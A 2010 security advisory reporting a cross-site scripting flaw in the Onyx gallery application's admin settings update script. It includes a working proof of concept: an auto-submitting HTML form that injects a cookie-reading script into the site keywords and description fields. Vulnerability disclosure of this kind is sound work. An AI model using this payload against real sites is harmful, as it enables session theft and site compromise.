XSS vulnerability in Onyx

[advisory () htbridge ch]

Vulnerability ID: HTB22536
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx.html
Product: Onyx
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx ) 
Vulnerable Version: 0.3.2 and Probably Prior Versions
Vendor Notification: 27 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/settings/update script to properly sanitize user-supplied input in 
"setting[site_keywords]" and "setting[site_description]" variables. Successful exploitation of this vulnerability could 
result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification 
of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings/update"; method="post"  name="main" >

<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" />
<input type="hidden" name="setting[site_keywords]" value='Ruby on Rails 
Gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails 
gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[welcome_title]" value="Welcome!" />
<input type="hidden" name="setting[welcome_message]" value="Welcome to my gallery!" />
<input type="hidden" name="setting[uniform_width]" value="500" />
<input type="hidden" name="setting[uniform_height]" value="500" />
<input type="hidden" name="setting[thumbnail_width]" value="100" />
<input type="hidden" name="setting[thumbnail_height]" value="100" />
<input type="hidden" name="setting[dummy_watermark_enabled]" value="0" />
<input type="hidden" name="setting[tooltips_enabled]" value="1" />
<input type="hidden" name="setting[tooltip_width]" value="300" />
<input type="hidden" name="setting[maximum_uploadable_files]" value="10" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script>